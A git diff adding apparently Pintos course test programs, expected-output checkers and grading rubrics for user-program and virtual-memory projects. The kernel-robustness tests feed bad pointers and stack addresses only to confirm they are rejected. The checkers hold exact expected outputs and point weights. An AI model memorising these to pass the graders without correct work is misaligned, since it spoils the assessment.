+ CHECK ((handle = open ("child-rox")) > 1, "open \"child-rox\"");
+ CHECK (read (handle, buffer, sizeof buffer) == (int) sizeof buffer,
+ "read \"child-rox\"");
+ seek (handle, 0);
+ CHECK (write (handle, buffer, sizeof buffer) == (int) sizeof buffer,
+ "write \"child-rox\"");
+
+ /* Execute child-rox and wait for it. */
+ CHECK ((child = exec (child_cmd)) != -1, "exec \"%s\"", child_cmd);
+ quiet = true;
+ CHECK (wait (child) == 12, "wait for child");
+ quiet = false;
+
+ /* Write to child-rox again. */
+ seek (handle, 0);
+ CHECK (write (handle, buffer, sizeof buffer) == (int) sizeof buffer,
+ "write \"child-rox\"");
+}
diff --git a/src/tests/userprog/rox-multichild.c b/src/tests/userprog/rox-multichild.c
new file mode 100644
index 0000000..8e74dab
--- /dev/null
+++ b/src/tests/userprog/rox-multichild.c
@@ -0,0 +1,5 @@
+/* Ensure that the executable of a running process cannot be
+ modified, even in the presence of multiple children. */
+
+#define CHILD_CNT "5"
+#include "tests/userprog/rox-child.inc"
diff --git a/src/tests/userprog/rox-multichild.ck b/src/tests/userprog/rox-multichild.ck
new file mode 100644
index 0000000..14b27db
--- /dev/null
+++ b/src/tests/userprog/rox-multichild.ck
@@ -0,0 +1,44 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(rox-multichild) begin
+(rox-multichild) open "child-rox"
+(rox-multichild) read "child-rox"
+(rox-multichild) write "child-rox"
+(rox-multichild) exec "child-rox 5"
+(child-rox) begin
+(child-rox) try to write "child-rox"
+(child-rox) exec "child-rox 4"
+(child-rox) begin
+(child-rox) try to write "child-rox"
+(child-rox) exec "child-rox 3"
+(child-rox) begin
+(child-rox) try to write "child-rox"
+(child-rox) exec "child-rox 2"
+(child-rox) begin
+(child-rox) try to write "child-rox"
+(child-rox) exec "child-rox 1"
+(child-rox) begin
+(child-rox) try to write "child-rox"
+(child-rox) try to write "child-rox"
+(child-rox) end
+child-rox: exit(12)
+(child-rox) try to write "child-rox"
+(child-rox) end
+child-rox: exit(12)
+(child-rox) try to write "child-rox"
+(child-rox) end
+child-rox: exit(12)
+(child-rox) try to write "child-rox"
+(child-rox) end
+child-rox: exit(12)
+(child-rox) try to write "child-rox"
+(child-rox) end
+child-rox: exit(12)
+(rox-multichild) write "child-rox"
+(rox-multichild) end
+rox-multichild: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/rox-simple.c b/src/tests/userprog/rox-simple.c
new file mode 100644
index 0000000..e84a064
--- /dev/null
+++ b/src/tests/userprog/rox-simple.c
@@ -0,0 +1,19 @@
+/* Ensure that the executable of a running process cannot be
+ modified. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle;
+ char buffer[16];
+
+ CHECK ((handle = open ("rox-simple")) > 1, "open \"rox-simple\"");
+ CHECK (read (handle, buffer, sizeof buffer) == (int) sizeof buffer,
+ "read \"rox-simple\"");
+ CHECK (write (handle, buffer, sizeof buffer) == 0,
+ "try to write \"rox-simple\"");
+}
diff --git a/src/tests/userprog/rox-simple.ck b/src/tests/userprog/rox-simple.ck
new file mode 100644
index 0000000..c9dcc66
--- /dev/null
+++ b/src/tests/userprog/rox-simple.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(rox-simple) begin
+(rox-simple) open "rox-simple"
+(rox-simple) read "rox-simple"
+(rox-simple) try to write "rox-simple"
+(rox-simple) end
+rox-simple: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/sample.inc b/src/tests/userprog/sample.inc
new file mode 100644
index 0000000..59f2bcb
--- /dev/null
+++ b/src/tests/userprog/sample.inc
@@ -0,0 +1,6 @@
+char sample[] = {
+ "\"Amazing Electronic Fact: If you scuffed your feet long enough without\n"
+ " touching anything, you would build up so many electrons that your\n"
+ " finger would explode! But this is nothing to worry about unless you\n"
+ " have carpeting.\" --Dave Barry\n"
+};
diff --git a/src/tests/userprog/sample.txt b/src/tests/userprog/sample.txt
new file mode 100644
index 0000000..5050fec
--- /dev/null
+++ b/src/tests/userprog/sample.txt
@@ -0,0 +1,4 @@
+"Amazing Electronic Fact: If you scuffed your feet long enough without
+ touching anything, you would build up so many electrons that your
+ finger would explode! But this is nothing to worry about unless you
+ have carpeting." --Dave Barry
diff --git a/src/tests/userprog/sc-bad-arg.c b/src/tests/userprog/sc-bad-arg.c
new file mode 100644
index 0000000..0b512a0
--- /dev/null
+++ b/src/tests/userprog/sc-bad-arg.c
@@ -0,0 +1,17 @@
+/* Sticks a system call number (SYS_EXIT) at the very top of the
+ stack, then invokes a system call with the stack pointer
+ (%esp) set to its address. The process must be terminated
+ with -1 exit code because the argument to the system call
+ would be above the top of the user address space. */
+
+#include <syscall-nr.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ asm volatile ("movl $0xbffffffc, %%esp; movl %0, (%%esp); int $0x30"
+ : : "i" (SYS_EXIT));
+ fail ("should have called exit(-1)");
+}
diff --git a/src/tests/userprog/sc-bad-arg.ck b/src/tests/userprog/sc-bad-arg.ck
new file mode 100644
index 0000000..8981105
--- /dev/null
+++ b/src/tests/userprog/sc-bad-arg.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(sc-bad-arg) begin
+sc-bad-arg: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/sc-bad-sp.c b/src/tests/userprog/sc-bad-sp.c
new file mode 100644
index 0000000..39cce84
--- /dev/null
+++ b/src/tests/userprog/sc-bad-sp.c
@@ -0,0 +1,20 @@
+/* Invokes a system call with the stack pointer (%esp) set to a
+ bad address. The process must be terminated with -1 exit
+ code.
+
+ For Project 3: The bad address lies approximately 64MB below
+ the code segment, so there is no ambiguity that this attempt
+ must be rejected even after stack growth is implemented.
+ Moreover, a good stack growth heuristics should probably not
+ grow the stack for the purpose of reading the system call
+ number and arguments. */
+
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ asm volatile ("movl $.-(64*1024*1024), %esp; int $0x30");
+ fail ("should have called exit(-1)");
+}
diff --git a/src/tests/userprog/sc-bad-sp.ck b/src/tests/userprog/sc-bad-sp.ck
new file mode 100644
index 0000000..498cec1
--- /dev/null
+++ b/src/tests/userprog/sc-bad-sp.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(sc-bad-sp) begin
+sc-bad-sp: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/sc-boundary-2.c b/src/tests/userprog/sc-boundary-2.c
new file mode 100644
index 0000000..8acf036
--- /dev/null
+++ b/src/tests/userprog/sc-boundary-2.c
@@ -0,0 +1,22 @@
+/* Invokes a system call with one byte of the system call's
+ argument on a separate page from the rest of the bytes. This
+ must work. */
+
+#include <syscall-nr.h>
+#include "tests/userprog/boundary.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ /* Make one byte of a syscall argument hang over into a second
+ page. */
+ int *p = (int *) ((char *) get_boundary_area () - 7);
+ p[0] = SYS_EXIT;
+ p[1] = 67;
+
+ /* Invoke the system call. */
+ asm volatile ("movl %0, %%esp; int $0x30" : : "g" (p));
+ fail ("should have called exit(67)");
+}
diff --git a/src/tests/userprog/sc-boundary-2.ck b/src/tests/userprog/sc-boundary-2.ck
new file mode 100644
index 0000000..43766bf
--- /dev/null
+++ b/src/tests/userprog/sc-boundary-2.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(sc-boundary-2) begin
+sc-boundary-2: exit(67)
+EOF
+pass;
diff --git a/src/tests/userprog/sc-boundary.c b/src/tests/userprog/sc-boundary.c
new file mode 100644
index 0000000..d889535
--- /dev/null
+++ b/src/tests/userprog/sc-boundary.c
@@ -0,0 +1,22 @@
+/* Invokes a system call with the system call number and its
+ argument on separate pages. This must work. */
+
+#include <syscall-nr.h>
+#include "tests/userprog/boundary.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ /* Put a syscall number at the end of one page
+ and its argument at the beginning of another. */
+ int *p = get_boundary_area ();
+ p--;
+ p[0] = SYS_EXIT;
+ p[1] = 42;
+
+ /* Invoke the system call. */
+ asm volatile ("movl %0, %%esp; int $0x30" : : "g" (p));
+ fail ("should have called exit(42)");
+}
diff --git a/src/tests/userprog/sc-boundary.ck b/src/tests/userprog/sc-boundary.ck
new file mode 100644
index 0000000..3f7cbaf
--- /dev/null
+++ b/src/tests/userprog/sc-boundary.ck
@@ -0,0 +1,9 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(sc-boundary) begin
+sc-boundary: exit(42)
+EOF
+pass;
diff --git a/src/tests/userprog/wait-bad-pid.c b/src/tests/userprog/wait-bad-pid.c
new file mode 100644
index 0000000..3fe8ee4
--- /dev/null
+++ b/src/tests/userprog/wait-bad-pid.c
@@ -0,0 +1,11 @@
+/* Waits for an invalid pid. This may fail or terminate the
+ process with -1 exit code. */
+
+#include <syscall.h>
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ wait ((pid_t) 0x0c020301);
+}
diff --git a/src/tests/userprog/wait-bad-pid.ck b/src/tests/userprog/wait-bad-pid.ck
new file mode 100644
index 0000000..db63fb9
--- /dev/null
+++ b/src/tests/userprog/wait-bad-pid.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(wait-bad-pid) begin
+(wait-bad-pid) end
+wait-bad-pid: exit(0)
+EOF
+(wait-bad-pid) begin
+wait-bad-pid: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/wait-killed.c b/src/tests/userprog/wait-killed.c
new file mode 100644
index 0000000..6a2a6b5
--- /dev/null
+++ b/src/tests/userprog/wait-killed.c
@@ -0,0 +1,11 @@
+/* Wait for a process that will be killed for bad behavior. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ msg ("wait(exec()) = %d", wait (exec ("child-bad")));
+}
diff --git a/src/tests/userprog/wait-killed.ck b/src/tests/userprog/wait-killed.ck
new file mode 100644
index 0000000..5df0e9c
--- /dev/null
+++ b/src/tests/userprog/wait-killed.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(wait-killed) begin
+(child-bad) begin
+child-bad: exit(-1)
+(wait-killed) wait(exec()) = -1
+(wait-killed) end
+wait-killed: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/wait-simple.c b/src/tests/userprog/wait-simple.c
new file mode 100644
index 0000000..d3afcf3
--- /dev/null
+++ b/src/tests/userprog/wait-simple.c
@@ -0,0 +1,11 @@
+/* Wait for a subprocess to finish. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ msg ("wait(exec()) = %d", wait (exec ("child-simple")));
+}
diff --git a/src/tests/userprog/wait-simple.ck b/src/tests/userprog/wait-simple.ck
new file mode 100644
index 0000000..93dd577
--- /dev/null
+++ b/src/tests/userprog/wait-simple.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(wait-simple) begin
+(child-simple) run
+child-simple: exit(81)
+(wait-simple) wait(exec()) = 81
+(wait-simple) end
+wait-simple: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/wait-twice.c b/src/tests/userprog/wait-twice.c
new file mode 100644
index 0000000..785e684
--- /dev/null
+++ b/src/tests/userprog/wait-twice.c
@@ -0,0 +1,15 @@
+/* Wait for a subprocess to finish, twice.
+ The first call must wait in the usual way and return the exit code.
+ The second wait call must return -1 immediately. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ pid_t child = exec ("child-simple");
+ msg ("wait(exec()) = %d", wait (child));
+ msg ("wait(exec()) = %d", wait (child));
+}
diff --git a/src/tests/userprog/wait-twice.ck b/src/tests/userprog/wait-twice.ck
new file mode 100644
index 0000000..6d53843
--- /dev/null
+++ b/src/tests/userprog/wait-twice.ck
@@ -0,0 +1,14 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(wait-twice) begin
+(child-simple) run
+child-simple: exit(81)
+(wait-twice) wait(exec()) = 81
+(wait-twice) wait(exec()) = -1
+(wait-twice) end
+wait-twice: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/write-bad-fd.c b/src/tests/userprog/write-bad-fd.c
new file mode 100644
index 0000000..f3b1151
--- /dev/null
+++ b/src/tests/userprog/write-bad-fd.c
@@ -0,0 +1,20 @@
+/* Tries to write to an invalid fd,
+ which must either fail silently or terminate the process with
+ exit code -1. */
+
+#include <limits.h>
+#include <syscall.h>
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ char buf = 123;
+ write (0x01012342, &buf, 1);
+ write (7, &buf, 1);
+ write (2546, &buf, 1);
+ write (-5, &buf, 1);
+ write (-8192, &buf, 1);
+ write (INT_MIN + 1, &buf, 1);
+ write (INT_MAX - 1, &buf, 1);
+}
diff --git a/src/tests/userprog/write-bad-fd.ck b/src/tests/userprog/write-bad-fd.ck
new file mode 100644
index 0000000..8da7a8b
--- /dev/null
+++ b/src/tests/userprog/write-bad-fd.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(write-bad-fd) begin
+(write-bad-fd) end
+write-bad-fd: exit(0)
+EOF
+(write-bad-fd) begin
+write-bad-fd: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/write-bad-ptr.c b/src/tests/userprog/write-bad-ptr.c
new file mode 100644
index 0000000..5336479
--- /dev/null
+++ b/src/tests/userprog/write-bad-ptr.c
@@ -0,0 +1,16 @@
+/* Passes an invalid pointer to the write system call.
+ The process must be terminated with -1 exit code. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle;
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+
+ write (handle, (char *) 0x10123420, 123);
+ fail ("should have exited with -1");
+}
diff --git a/src/tests/userprog/write-bad-ptr.ck b/src/tests/userprog/write-bad-ptr.ck
new file mode 100644
index 0000000..ad9f399
--- /dev/null
+++ b/src/tests/userprog/write-bad-ptr.ck
@@ -0,0 +1,15 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(write-bad-ptr) begin
+(write-bad-ptr) open "sample.txt"
+(write-bad-ptr) end
+write-bad-ptr: exit(0)
+EOF
+(write-bad-ptr) begin
+(write-bad-ptr) open "sample.txt"
+write-bad-ptr: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/write-boundary.c b/src/tests/userprog/write-boundary.c
new file mode 100644
index 0000000..d2de1d4
--- /dev/null
+++ b/src/tests/userprog/write-boundary.c
@@ -0,0 +1,25 @@
+/* Writes data spanning two pages in virtual address space,
+ which must succeed. */
+
+#include <string.h>
+#include <syscall.h>
+#include "tests/userprog/boundary.h"
+#include "tests/userprog/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle;
+ int byte_cnt;
+ char *sample_p;
+
+ sample_p = copy_string_across_boundary (sample);
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+
+ byte_cnt = write (handle, sample_p, sizeof sample - 1);
+ if (byte_cnt != sizeof sample - 1)
+ fail ("write() returned %d instead of %zu", byte_cnt, sizeof sample - 1);
+}
diff --git a/src/tests/userprog/write-boundary.ck b/src/tests/userprog/write-boundary.ck
new file mode 100644
index 0000000..7883781
--- /dev/null
+++ b/src/tests/userprog/write-boundary.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(write-boundary) begin
+(write-boundary) open "sample.txt"
+(write-boundary) end
+write-boundary: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/write-normal.c b/src/tests/userprog/write-normal.c
new file mode 100644
index 0000000..e0297aa
--- /dev/null
+++ b/src/tests/userprog/write-normal.c
@@ -0,0 +1,20 @@
+/* Try writing a file in the most normal way. */
+
+#include <syscall.h>
+#include "tests/userprog/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle, byte_cnt;
+
+ CHECK (create ("test.txt", sizeof sample - 1), "create \"test.txt\"");
+ CHECK ((handle = open ("test.txt")) > 1, "open \"test.txt\"");
+
+ byte_cnt = write (handle, sample, sizeof sample - 1);
+ if (byte_cnt != sizeof sample - 1)
+ fail ("write() returned %d instead of %zu", byte_cnt, sizeof sample - 1);
+}
+
diff --git a/src/tests/userprog/write-normal.ck b/src/tests/userprog/write-normal.ck
new file mode 100644
index 0000000..9fa6024
--- /dev/null
+++ b/src/tests/userprog/write-normal.ck
@@ -0,0 +1,12 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(write-normal) begin
+(write-normal) create "test.txt"
+(write-normal) open "test.txt"
+(write-normal) end
+write-normal: exit(0)
+EOF
+pass;
diff --git a/src/tests/userprog/write-stdin.c b/src/tests/userprog/write-stdin.c
new file mode 100644
index 0000000..491ea53
--- /dev/null
+++ b/src/tests/userprog/write-stdin.c
@@ -0,0 +1,14 @@
+/* Try writing to fd 0 (stdin),
+ which may just fail or terminate the process with -1 exit
+ code. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ char buf = 123;
+ write (0, &buf, 1);
+}
diff --git a/src/tests/userprog/write-stdin.ck b/src/tests/userprog/write-stdin.ck
new file mode 100644
index 0000000..a6caf81
--- /dev/null
+++ b/src/tests/userprog/write-stdin.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF', <<'EOF']);
+(write-stdin) begin
+(write-stdin) end
+write-stdin: exit(0)
+EOF
+(write-stdin) begin
+write-stdin: exit(-1)
+EOF
+pass;
diff --git a/src/tests/userprog/write-zero.c b/src/tests/userprog/write-zero.c
new file mode 100644
index 0000000..d8dac9b
--- /dev/null
+++ b/src/tests/userprog/write-zero.c
@@ -0,0 +1,20 @@
+/* Try a 0-byte write, which should return 0 without writing
+ anything. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ int handle, byte_cnt;
+ char buf;
+
+ CHECK ((handle = open ("sample.txt")) > 1, "open \"sample.txt\"");
+
+ buf = 123;
+ byte_cnt = write (handle, &buf, 0);
+ if (byte_cnt != 0)
+ fail("write() returned %d instead of 0", byte_cnt);
+}
diff --git a/src/tests/userprog/write-zero.ck b/src/tests/userprog/write-zero.ck
new file mode 100644
index 0000000..cc4cd60
--- /dev/null
+++ b/src/tests/userprog/write-zero.ck
@@ -0,0 +1,11 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(write-zero) begin
+(write-zero) open "sample.txt"
+(write-zero) end
+write-zero: exit(0)
+EOF
+pass;
diff --git a/src/tests/vm/Grading b/src/tests/vm/Grading
new file mode 100644
index 0000000..f0c2c13
--- /dev/null
+++ b/src/tests/vm/Grading
@@ -0,0 +1,12 @@
+# Percentage of the testing point total designated for each set of
+# tests.
+
+# This project is primarily about virtual memory, but all the previous
+# functionality should work too, and it's easy to screw it up, thus
+# the equal weight placed on each.
+
+50% tests/vm/Rubric.functionality
+15% tests/vm/Rubric.robustness
+10% tests/userprog/Rubric.functionality
+5% tests/userprog/Rubric.robustness
+20% tests/filesys/base/Rubric
diff --git a/src/tests/vm/Make.tests b/src/tests/vm/Make.tests
new file mode 100644
index 0000000..04b1b81
--- /dev/null
+++ b/src/tests/vm/Make.tests
@@ -0,0 +1,103 @@
+# -*- makefile -*-
+
+tests/vm_TESTS = $(addprefix tests/vm/,pt-grow-stack pt-grow-pusha \
+pt-grow-bad pt-big-stk-obj pt-bad-addr pt-bad-read pt-write-code \
+pt-write-code2 pt-grow-stk-sc page-linear page-parallel page-merge-seq \
+page-merge-par page-merge-stk page-merge-mm page-shuffle mmap-read \
+mmap-close mmap-unmap mmap-overlap mmap-twice mmap-write mmap-exit \
+mmap-shuffle mmap-bad-fd mmap-clean mmap-inherit mmap-misalign \
+mmap-null mmap-over-code mmap-over-data mmap-over-stk mmap-remove \
+mmap-zero)
+
+tests/vm_PROGS = $(tests/vm_TESTS) $(addprefix tests/vm/,child-linear \
+child-sort child-qsort child-qsort-mm child-mm-wrt child-inherit)
+
+tests/vm/pt-grow-stack_SRC = tests/vm/pt-grow-stack.c tests/arc4.c \
+tests/cksum.c tests/lib.c tests/main.c
+tests/vm/pt-grow-pusha_SRC = tests/vm/pt-grow-pusha.c tests/lib.c \
+tests/main.c
+tests/vm/pt-grow-bad_SRC = tests/vm/pt-grow-bad.c tests/lib.c tests/main.c
+tests/vm/pt-big-stk-obj_SRC = tests/vm/pt-big-stk-obj.c tests/arc4.c \
+tests/cksum.c tests/lib.c tests/main.c
+tests/vm/pt-bad-addr_SRC = tests/vm/pt-bad-addr.c tests/lib.c tests/main.c
+tests/vm/pt-bad-read_SRC = tests/vm/pt-bad-read.c tests/lib.c tests/main.c
+tests/vm/pt-write-code_SRC = tests/vm/pt-write-code.c tests/lib.c tests/main.c
+tests/vm/pt-write-code2_SRC = tests/vm/pt-write-code-2.c tests/lib.c tests/main.c
+tests/vm/pt-grow-stk-sc_SRC = tests/vm/pt-grow-stk-sc.c tests/lib.c tests/main.c
+tests/vm/page-linear_SRC = tests/vm/page-linear.c tests/arc4.c \
+tests/lib.c tests/main.c
+tests/vm/page-parallel_SRC = tests/vm/page-parallel.c tests/lib.c tests/main.c
+tests/vm/page-merge-seq_SRC = tests/vm/page-merge-seq.c tests/arc4.c \
+tests/lib.c tests/main.c
+tests/vm/page-merge-par_SRC = tests/vm/page-merge-par.c \
+tests/vm/parallel-merge.c tests/arc4.c tests/lib.c tests/main.c
+tests/vm/page-merge-stk_SRC = tests/vm/page-merge-stk.c \
+tests/vm/parallel-merge.c tests/arc4.c tests/lib.c tests/main.c
+tests/vm/page-merge-mm_SRC = tests/vm/page-merge-mm.c \
+tests/vm/parallel-merge.c tests/arc4.c tests/lib.c tests/main.c
+tests/vm/page-shuffle_SRC = tests/vm/page-shuffle.c tests/arc4.c \
+tests/cksum.c tests/lib.c tests/main.c
+tests/vm/mmap-read_SRC = tests/vm/mmap-read.c tests/lib.c tests/main.c
+tests/vm/mmap-close_SRC = tests/vm/mmap-close.c tests/lib.c tests/main.c
+tests/vm/mmap-unmap_SRC = tests/vm/mmap-unmap.c tests/lib.c tests/main.c
+tests/vm/mmap-overlap_SRC = tests/vm/mmap-overlap.c tests/lib.c tests/main.c
+tests/vm/mmap-twice_SRC = tests/vm/mmap-twice.c tests/lib.c tests/main.c
+tests/vm/mmap-write_SRC = tests/vm/mmap-write.c tests/lib.c tests/main.c
+tests/vm/mmap-exit_SRC = tests/vm/mmap-exit.c tests/lib.c tests/main.c
+tests/vm/mmap-shuffle_SRC = tests/vm/mmap-shuffle.c tests/arc4.c \
+tests/cksum.c tests/lib.c tests/main.c
+tests/vm/mmap-bad-fd_SRC = tests/vm/mmap-bad-fd.c tests/lib.c tests/main.c
+tests/vm/mmap-clean_SRC = tests/vm/mmap-clean.c tests/lib.c tests/main.c
+tests/vm/mmap-inherit_SRC = tests/vm/mmap-inherit.c tests/lib.c tests/main.c
+tests/vm/mmap-misalign_SRC = tests/vm/mmap-misalign.c tests/lib.c \
+tests/main.c
+tests/vm/mmap-null_SRC = tests/vm/mmap-null.c tests/lib.c tests/main.c
+tests/vm/mmap-over-code_SRC = tests/vm/mmap-over-code.c tests/lib.c \
+tests/main.c
+tests/vm/mmap-over-data_SRC = tests/vm/mmap-over-data.c tests/lib.c \
+tests/main.c
+tests/vm/mmap-over-stk_SRC = tests/vm/mmap-over-stk.c tests/lib.c tests/main.c
+tests/vm/mmap-remove_SRC = tests/vm/mmap-remove.c tests/lib.c tests/main.c
+tests/vm/mmap-zero_SRC = tests/vm/mmap-zero.c tests/lib.c tests/main.c
+
+tests/vm/child-linear_SRC = tests/vm/child-linear.c tests/arc4.c tests/lib.c
+tests/vm/child-qsort_SRC = tests/vm/child-qsort.c tests/vm/qsort.c tests/lib.c
+tests/vm/child-qsort-mm_SRC = tests/vm/child-qsort-mm.c tests/vm/qsort.c \
+tests/lib.c
+tests/vm/child-sort_SRC = tests/vm/child-sort.c tests/lib.c
+tests/vm/child-mm-wrt_SRC = tests/vm/child-mm-wrt.c tests/lib.c tests/main.c
+tests/vm/child-inherit_SRC = tests/vm/child-inherit.c tests/lib.c tests/main.c
+
+tests/vm/pt-bad-read_PUTFILES = tests/vm/sample.txt
+tests/vm/pt-write-code2_PUTFILES = tests/vm/sample.txt
+tests/vm/mmap-close_PUTFILES = tests/vm/sample.txt
+tests/vm/mmap-read_PUTFILES = tests/vm/sample.txt
+tests/vm/mmap-unmap_PUTFILES = tests/vm/sample.txt
+tests/vm/mmap-twice_PUTFILES = tests/vm/sample.txt
+tests/vm/mmap-overlap_PUTFILES = tests/vm/zeros
+tests/vm/mmap-exit_PUTFILES = tests/vm/child-mm-wrt
+tests/vm/page-parallel_PUTFILES = tests/vm/child-linear
+tests/vm/page-merge-seq_PUTFILES = tests/vm/child-sort
+tests/vm/page-merge-par_PUTFILES = tests/vm/child-sort
+tests/vm/page-merge-stk_PUTFILES = tests/vm/child-qsort
+tests/vm/page-merge-mm_PUTFILES = tests/vm/child-qsort-mm
+tests/vm/mmap-clean_PUTFILES = tests/vm/sample.txt
+tests/vm/mmap-inherit_PUTFILES = tests/vm/sample.txt tests/vm/child-inherit
+tests/vm/mmap-misalign_PUTFILES = tests/vm/sample.txt
+tests/vm/mmap-null_PUTFILES = tests/vm/sample.txt
+tests/vm/mmap-over-code_PUTFILES = tests/vm/sample.txt
+tests/vm/mmap-over-data_PUTFILES = tests/vm/sample.txt
+tests/vm/mmap-over-stk_PUTFILES = tests/vm/sample.txt
+tests/vm/mmap-remove_PUTFILES = tests/vm/sample.txt
+
+tests/vm/page-linear.output: TIMEOUT = 300
+tests/vm/page-shuffle.output: TIMEOUT = 600
+tests/vm/mmap-shuffle.output: TIMEOUT = 600
+tests/vm/page-merge-seq.output: TIMEOUT = 600
+tests/vm/page-merge-par.output: TIMEOUT = 600
+
+tests/vm/zeros:
+ dd if=/dev/zero of=$@ bs=1024 count=6
+
+clean::
+ rm -f tests/vm/zeros
diff --git a/src/tests/vm/Rubric.functionality b/src/tests/vm/Rubric.functionality
new file mode 100644
index 0000000..8a86612
--- /dev/null
+++ b/src/tests/vm/Rubric.functionality
@@ -0,0 +1,30 @@
+Functionality of virtual memory subsystem:
+- Test stack growth.
+3 pt-grow-stack
+3 pt-grow-stk-sc
+3 pt-big-stk-obj
+3 pt-grow-pusha
+
+- Test paging behavior.
+3 page-linear
+3 page-parallel
+3 page-shuffle
+4 page-merge-seq
+4 page-merge-par
+4 page-merge-mm
+4 page-merge-stk
+
+- Test "mmap" system call.
+2 mmap-read
+2 mmap-write
+2 mmap-shuffle
+
+2 mmap-twice
+
+2 mmap-unmap
+1 mmap-exit
+
+3 mmap-clean
+
+2 mmap-close
+2 mmap-remove
diff --git a/src/tests/vm/Rubric.robustness b/src/tests/vm/Rubric.robustness
new file mode 100644
index 0000000..0b2552f
--- /dev/null
+++ b/src/tests/vm/Rubric.robustness
@@ -0,0 +1,21 @@
+Robustness of virtual memory subsystem:
+- Test robustness of page table support.
+2 pt-bad-addr
+3 pt-bad-read
+2 pt-write-code
+3 pt-write-code2
+4 pt-grow-bad
+
+- Test robustness of "mmap" system call.
+1 mmap-bad-fd
+1 mmap-inherit
+1 mmap-null
+1 mmap-zero
+
+2 mmap-misalign
+
+2 mmap-over-code
+2 mmap-over-data
+2 mmap-over-stk
+2 mmap-overlap
+
diff --git a/src/tests/vm/child-inherit.c b/src/tests/vm/child-inherit.c
new file mode 100644
index 0000000..d3186a1
--- /dev/null
+++ b/src/tests/vm/child-inherit.c
@@ -0,0 +1,16 @@
+/* Child process for mmap-inherit test.
+ Tries to write to a mapping present in the parent.
+ The process must be terminated with -1 exit code. */
+
+#include <string.h>
+#include "tests/vm/sample.inc"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ memset ((char *) 0x54321000, 0, 4096);
+ fail ("child can modify parent's memory mappings");
+}
+
diff --git a/src/tests/vm/child-linear.c b/src/tests/vm/child-linear.c
new file mode 100644
index 0000000..eca3e3f
--- /dev/null
+++ b/src/tests/vm/child-linear.c
@@ -0,0 +1,36 @@
+/* Child process of page-parallel.
+ Encrypts 1 MB of zeros, then decrypts it, and ensures that
+ the zeros are back. */
+
+#include <string.h>
+#include "tests/arc4.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+const char *test_name = "child-linear";
+
+#define SIZE (1024 * 1024)
+static char buf[SIZE];
+
+int
+main (int argc, char *argv[])
+{
+ const char *key = argv[argc - 1];
+ struct arc4 arc4;
+ size_t i;
+
